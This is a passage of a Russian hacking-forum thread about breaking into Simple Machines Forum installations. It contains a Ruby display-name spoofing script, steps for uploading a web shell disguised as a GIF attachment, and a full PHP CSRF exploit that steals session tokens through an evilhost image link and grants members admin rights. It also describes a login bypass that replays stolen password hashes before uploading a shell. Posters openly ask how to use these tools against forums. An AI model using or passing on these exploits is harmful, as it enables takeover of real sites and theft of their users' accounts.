Форумы [Обзор уязвимостей Simple Machines Forum]

Discussion in 'Уязвимости CMS/форумов' started by FeraS, 12 Aug 2007.

  1. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    Есть ли возможность узнать имя префикса? какой нибудь ошибкой..
    использую SMF <= 1.1.4 SQL Injection Exploit
    Уязвимость есть. а вот префикс не подходит.
    иксы.
    Родилась идея за место имени сделать переменную - и туда совать из словарика имена таблицы.. но блин имя может быть какое угодно :(
     
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    А версия бд какая?
     
    _________________________
  3. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    [~] Testing SMF vulnerability... Yes!
    [+] SMF vulnerable!
    [~] Testing MySQL version... OK!
    [+] MySQL => 4.1
    [~] Testing prefix 'smf'... Sorry.
    [-] Prefix is not correct.
     
  4. Avtoritet

    Avtoritet Member

    Joined:
    29 Sep 2010
    Messages:
    174
    Likes Received:
    10
    Reputations:
    -5
    #SMFRTLO.rb v1.0
    #SMF <= 1.3.13 RTLO Exploit Tool
    #Coded by Luis Santana
    #HackTalk Security Team
    #Shouts to Shardy, Rage, Coors_Lite_Dude, Xires & Stacy, MaXe, #intern0t

    require "rubygems"
    require "mechanize"

    Mechanize::Util::CODE_DIC[:SJIS] = "UTF-8"

    puts "****************************************"
    puts "* SMFRTLO *"
    puts "* Coded By *"
    puts "* Luis Santana *"
    puts "* HackTalk Security *"
    puts "****************************************"

    puts "Enter your username:"
    user = gets.chomp
    puts "Enter your password:"
    pass = gets.chomp
    puts "Enter the website without http and include the SMF path (no trailing /):"
    site = gets.chomp
    puts "Enter the desired username:"
    spoof = gets.chomp

    agent = Mechanize.new
    agent.user_agent_alias = "Windows Mozilla"
    page = agent.get("http://#{site}/index.php")

    puts("[+] Logging In")
    login_form = page.forms[0]
    login_form['user'] = user
    login_form['passwrd'] = pass
    page = agent.submit(login_form)

    puts("[+] Logged In\n[+] Changing Display Name")
    page = agent.get("http://#{site}/index.php?action=profile;u=2;sa=account")

    spoof = "‮" + spoof.reverse
    profile_form = page.forms.last
    profile_form['realName'] = spoof
    profile_form['oldpasswrd'] = pass
    page = agent.submit(profile_form, profile_form.buttons.last)
    puts("[+] Display Name Changed To: " + spoof )

    Вроде как должен подменять ваше имя на любое другое! кто разбирается расскажите как запустить его?
     
  5. WTSBugzoff

    WTSBugzoff New Member

    Joined:
    23 Jun 2011
    Messages:
    59
    Likes Received:
    2
    Reputations:
    0
    как юзать?
     
  6. Avtoritet

    Avtoritet Member

    Joined:
    29 Sep 2010
    Messages:
    174
    Likes Received:
    10
    Reputations:
    -5
    вот и я зотел узнать как юзать! поэтому выложил, а вообще он для подмены имени своего! и дальнейших махинаций соответственно! может кто разберется и просветит нас
     
  7. ParKrut

    ParKrut New Member

    Joined:
    1 Jul 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    SMF 2.0 RC5 Remote Shell Upload Exploit

    Автор: KedAns-Dz
    E-mail: [email protected]
    Twitter page: twitter.com/kedans
    Google дорка: "Powered by SMF 2.0 RC5"


    Суть в том, что вы можете загрузить Shell в папку attachments
    Зайдите в любую тему, ответьте что-нибудь и прикрепите к ответу Shell картинкой, формата *.gif
    После этого залитая картинку будет доступна по адресу:
    Code:
    http://[target/Path]/attachments/{fileID}_{fileHASH}
    HASH кодер: SHA1
    Далее определяем hash (hashmyfiles поможет):

    1_86e1d5b5ec318635ec9ece9b4586bd8c1d07faca

    После того как определили Hash можно пользоваться Shell' ом

    Вариант 1:
    Code:
    http://127.0.0.1:8888/smf/attachments/1_86e1d5b5ec318635ec9ece9b4586bd8c1d07faca
    Вариант 2:
    Code:
    http://[target/Path]/index.php?action=dlattach;topic={topicID};attach={attach-SHELL-id};image
    Второй вариант не всегда работает

    Дополню, что загружаемый gif, должен быть не больше 128 КБ Это стандартное ограничение

    P.S.
    Сам не проверял, проверил 3 форума, на них закрыто прикрепление файлов.
    Локальный лень поставить
    Но думаю, что работает
     
  8. Melo

    Melo New Member

    Joined:
    14 Apr 2010
    Messages:
    48
    Likes Received:
    2
    Reputations:
    0
    Как узнать адрес можна поподробнее
     
    #48 Melo, 25 Jul 2011
    Last edited: 25 Jul 2011
  9. абвгдешка

    Joined:
    2 May 2011
    Messages:
    48
    Likes Received:
    13
    Reputations:
    1
    Simple Machines forum (SMF) 2.0 session hijacking


    Code:
    Simple Machines forum (SMF) 2.0 session hijacking
    Found by The X-C3LL and seth
    http://0verl0ad.blogspot.com/ || http://xd-blog.com.ar/
    2011-08-06
    Website: http://www.simplemachines.org/
    Greets: yoyahack, eddyw, www.portalhacker.net
     
    SMF stops csrf attacks sending a session token in all the requests wich make changes to the forum.
    Usually, it goes in the POST content but when navigating the moderation zone it's present in the url (you need to click the links from inside that zone!). In some places, an attacker can use bbcode to insert a <img> tag, forcing the browser to make a request and leak the token in the referer header.
    There are two ways for an attacker to place a image:
    -Writing in the moderators chat (?action=moderate), requires being a moderator.
    -Making a post and reporting it to the moderator (it will be send to all the section mods and the global mods, who will see it in ?action=moderate;area=reports)
     
    Removing lines 104 and 105 from Subs-Menu.php seems to solve the problem and nothing stops working (!):
    /////////////////////////////////////////////////////
        if (empty($menuOptions['disable_url_session_check']))
            $menu_context['extra_parameters'] .= ';' . $context['session_var'] . '=' . $context['session_id'];
    /////////////////////////////////////////////////////
     
    PoC exploit wich gives admin privileges to the regular members:
    /////////////////////////////////////////////////////
    <?PHP
    error_reporting(0);
    if($_GET[1]){ //Show the image
      file_put_contents('.htoken', $_SERVER['HTTP_REFERER']); //we only save the last token because we are lazy
      header('Content-Type: image/jpeg');
      readfile('clickme.jpg'); //put a image here
    }else{ //Redirect to the admin panel
      $file = explode(';', file_get_contents('.htoken'));
      $file = explode('=', $file[2]);
      $token = '<input type="hidden" name="' . htmlentities($file[0], ENT_QUOTES) . '" value="' . htmlentities($file[1], ENT_QUOTES) . '" />';
      ?>
        <html><head></head><body>
          <form action="http://localhost/smf/index.php?action=admin;area=permissions;sa=modify2;group=0;pid=0" method="post">
        <input type="hidden" name="group_select_view_basic_info" value="on" /><input type="hidden" name="perm[membergroup][view_stats]" value="on" /><input type="hidden" name="perm[membergroup][view_mlist]" value="on" /><input type="hidden" name="perm[membergroup][who_view]" value="on" /><input type="hidden" name="perm[membergroup][search_posts]" value="on" /><input type="hidden" name="perm[membergroup][calendar_view]" value="on" /><input type="hidden" name="perm[membergroup][profile_view_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_view_any]" value="on" /><input type="hidden" name="group_select_moderate_general" value="on" /><input type="hidden" name="perm[membergroup][karma_edit]" value="on" /><input type="hidden" name="perm[membergroup][calendar_edit_any]" value="off" /><input type="hidden" name="perm[membergroup][access_mod_center]" value="on" /><input type="hidden" name="perm[membergroup][moderate_forum]" value="on" /><input type="hidden" name="perm[membergroup][issue_warning]" value="off" /><input type="hidden" name="perm[membergroup][profile_identity_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_extra_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_title_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_remove_any]" value="on" /><input type="hidden" name="group_select_use_pm_system" value="on" /><input type="hidden" name="perm[membergroup][pm_read]" value="on" /><input type="hidden" name="perm[membergroup][pm_send]" value="on" /><input type="hidden" name="perm[membergroup][calendar_post]" value="off" /><input type="hidden" name="perm[membergroup][calendar_edit_own]" value="off" /><input type="hidden" name="group_select_administrate" value="on" /><input type="hidden" name="perm[membergroup][admin_forum]" value="on" /><input type="hidden" name="perm[membergroup][manage_boards]" value="on" /><input type="hidden" name="perm[membergroup][manage_attachments]" value="on" /><input type="hidden" name="perm[membergroup][manage_smileys]" value="on" /><input type="hidden" name="perm[membergroup][edit_news]" value="on" /><input type="hidden" name="perm[membergroup][manage_membergroups]" value="on" /><input type="hidden" name="perm[membergroup][manage_permissions]" value="on" /><input type="hidden" name="perm[membergroup][manage_bans]" value="on" /><input type="hidden" name="perm[membergroup][send_mail]" value="on" /><input type="hidden" name="group_select_edit_profile" value="on" /><input type="hidden" name="perm[membergroup][profile_identity_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_extra_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_title_own]" value="on" /><input type="hidden" name="group_select_delete_account" value="on" /><input type="hidden" name="perm[membergroup][profile_remove_own]" value="on" /><input type="hidden" name="group_select_use_avatar" value="on" /><input type="hidden" name="perm[membergroup][profile_server_avatar]" value="on" /><input type="hidden" name="perm[membergroup][profile_upload_avatar]" value="on" /><input type="hidden" name="perm[membergroup][profile_remote_avatar]" value="on" /><input type="hidden" name="group_select_moderate" value="on" /><input type="hidden" name="perm[board][moderate_board]" value="on" /><input type="hidden" name="perm[board][approve_posts]" value="off" /><input type="hidden" name="perm[board][merge_any]" value="on" /><input type="hidden" name="perm[board][split_any]" value="on" /><input type="hidden" name="perm[board][send_topic]" value="on" /><input type="hidden" name="perm[board][make_sticky]" value="on" /><input type="hidden" name="perm[board][move_own]" value="on" /><input type="hidden" name="perm[board][move_any]" value="on" /><input type="hidden" name="perm[board][lock_own]" value="on" /><input type="hidden" name="perm[board][lock_any]" value="on" /><input type="hidden" name="perm[board][remove_any]" value="on" /><input type="hidden" name="perm[board][modify_replies]" value="on" /><input type="hidden" name="perm[board][delete_replies]" value="on" /><input type="hidden" name="perm[board][announce_topic]" value="on" /><input type="hidden" name="perm[board][delete_any]" value="on" /><input type="hidden" name="perm[board][modify_any]" value="on" /><input type="hidden" name="perm[board][poll_add_any]" value="on" /><input type="hidden" name="perm[board][poll_edit_any]" value="on" /><input type="hidden" name="perm[board][poll_lock_own]" value="on" /><input type="hidden" name="perm[board][poll_lock_any]" value="on" /><input type="hidden" name="perm[board][poll_remove_any]" value="on" /><input type="hidden" name="group_select_make_posts" value="on" /><input type="hidden" name="perm[board][post_new]" value="on" /><input type="hidden" name="perm[board][post_reply_own]" value="on" /><input type="hidden" name="perm[board][post_reply_any]" value="on" /><input type="hidden" name="perm[board][post_unapproved_topics]" value="on" /><input type="hidden" name="perm[board][post_unapproved_replies_own]" value="on" /><input type="hidden" name="perm[board][post_unapproved_replies_any]" value="on" /><input type="hidden" name="perm[board][post_unapproved_attachments]" value="on" /><input type="hidden" name="group_select_modify" value="on" /><input type="hidden" name="perm[board][remove_own]" value="on" /><input type="hidden" name="perm[board][delete_own]" value="on" /><input type="hidden" name="perm[board][modify_own]" value="on" /><input type="hidden" name="perm[board][poll_edit_own]" value="on" /><input type="hidden" name="perm[board][poll_remove_own]" value="on" /><input type="hidden" name="group_select_participate" value="on" /><input type="hidden" name="perm[board][report_any]" value="on" /><input type="hidden" name="perm[board][poll_view]" value="on" /><input type="hidden" name="perm[board][poll_vote]" value="on" /><input type="hidden" name="perm[board][view_attachments]" value="on" /><input type="hidden" name="group_select_post_polls" value="on" /><input type="hidden" name="perm[board][poll_post]" value="on" /><input type="hidden" name="perm[board][poll_add_own]" value="on" /><input type="hidden" name="group_select_notification" value="on" /><input type="hidden" name="perm[board][mark_any_notify]" value="on" /><input type="hidden" name="perm[board][mark_notify]" value="on" /><input type="hidden" name="group_select_attach" value="on" /><input type="hidden" name="perm[board][post_attachment]=on" /> <?PHP echo $token; ?>
          </form><script>document.forms[0].submit()</script>
        </body></html>
      <?
    }
    /////////////////////////////////////////////////////
    
    Use:
    [url*=http://evilhost/exploit.php][img*]http://evilhost/exploit.php?1=1[/img][/url] 
    
    
    
     
    #49 абвгдешка, 8 Aug 2011
    Last edited: 8 Aug 2011
  10. Exebit

    Exebit New Member

    Joined:
    4 Feb 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    получилось получить доступ к админке с правами Глобальный модератор
    подскажите как можно продвинуться до админа или еще что.
    ни разу не юзал этот форум
     
  11. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    Способ не работает, такая картинка .gif тупо отображается сервером как текст (с пхп кодом). Называл и xx.php.gif и xx.gif - одинаковый результат. .htaccess в attachments нет, все настройки форума дефолтные.

    С хешем все понятно, а как определить число, под которым залит файл? На новом форуме это будет 1, 2 и т.д., а если форум большой, то там будет какой-то 5131_хеш. Надо писать какой-то скрипт для перебора вариантов разве что.
     
  12. InMix

    InMix New Member

    Joined:
    15 Sep 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    по 2.0.1 есть что нить?
     
  13. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    SMF <= 2.0.1 SQL Injection, Privilege Escalation​

    http://www.exploit-db.com/exploits/18214/
    ;)
     
    #53 Osstudio, 10 Dec 2011
    Last edited: 10 Dec 2011
  14. SecondLife

    SecondLife Elder - Старейшина

    Joined:
    8 May 2011
    Messages:
    30
    Likes Received:
    21
    Reputations:
    21
    Подскажите, есть ли эксплоит по уязвимости версий 1.0-RC12.0-Beta3.1 в файле SSI.php?
    Описание: http://www.cvedetails.com/cve/CVE-2011-1127/
     
  15. 8tomat8

    8tomat8 New Member

    Joined:
    8 Mar 2010
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    по чему-то выдает ошибку

    Code:
    File "C:\Python27\lib\socket.py", line 551, in create_connection for res in getaddrinfo(host, port, 0, SOCK_STREAM): socket.gaierror: [Errno 11004] getaddrinfo failed
    Что это может быть и как лечиться?
    Заранее спасибо
     
  16. Aizek

    Aizek New Member

    Joined:
    6 Jun 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    собственно интересует:есть доступ к форуму версии 2.0.1 полные права,как залить и заставить исполнятся шелл
     
  17. RuDefc0n

    RuDefc0n Member

    Joined:
    2 Jun 2012
    Messages:
    33
    Likes Received:
    8
    Reputations:
    0
    Хмм... а почему тут нет информации как зайти при login2, если вытащили таки passwd(например сукуля в другом проекте с 1 мускулем), а вскрыть не получается?
    Описать или я просто что-то не заметил?
     
  18. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Опиши.
     
  19. RuDefc0n

    RuDefc0n Member

    Joined:
    2 Jun 2012
    Messages:
    33
    Likes Received:
    8
    Reputations:
    0
    Собственно найден сей способ мною, когда столкнулся с тем, что смог вытащить passwd, а расшифровывать его не было времени + пароль оказался совсем не стандартным.

    В общем для старта нам нужно:
    1) Что-то чем можно редактировать и абортить запросы от браузера серверу(я использую charles)
    2) Собственно сам passwd и логин(имейте ввиду, что отображаемый ник не всегда одно и то же, что логин)

    Смотрим исходник главной страницы и ищем форму:
    Code:
    <form id="guest_form" action="http://forum.site.example/index.php?action=login2" method="post" accept-charset="windows-1251" onsubmit="hashLoginPassword(this, '[B][COLOR=Red]1f73b88c08c6ecf9706286d01f92ea1d[/COLOR][/B]');">
    
    Обратите внимания на последнюю часть, она нам пригодится.
    Вся особенность данного метода, что для логина используется дважды sha1 пароль, причем делается это через js скрипт.
    Отправляемый пакет имеет строку passwd криптующийся по формату:
    Code:
    sha1(sha1(lower(username).password).[B][COLOR=Red]1f73b88c08c6ecf9706286d01f92ea1d[/COLOR][/B]);
    
    Т.е. по сути для логина достаточно нашего passwd, который как известно равен sha1(lower(username).password

    1) Формируем закрытый ключ, который бы обосновывался на описанном ранее методе к нужному нами пользователю
    2) Выставляем бряку на запрос к логин-форме
    3) Логинимся под рандомными именами и паролями
    4) Редактируем запрос на нужный нам(вставляя логин/пароль админа)
    5) Отправляем
    6) ....
    7) Льем шелл из-под админа путем добавления новой темы.

    PS Актуально для SMF 2.0.2 - на прошлых версиях не проверялось.
     
    #59 RuDefc0n, 14 Jun 2012
    Last edited: 14 Jun 2012
    1 person likes this.
  20. smirnov18076

    smirnov18076 New Member

    Joined:
    1 Aug 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    А какой шелл для версии SMF 2.0.2 будет наиболее удобным, более полно отвечающим структурам форума и расположению файлов и директорий? :)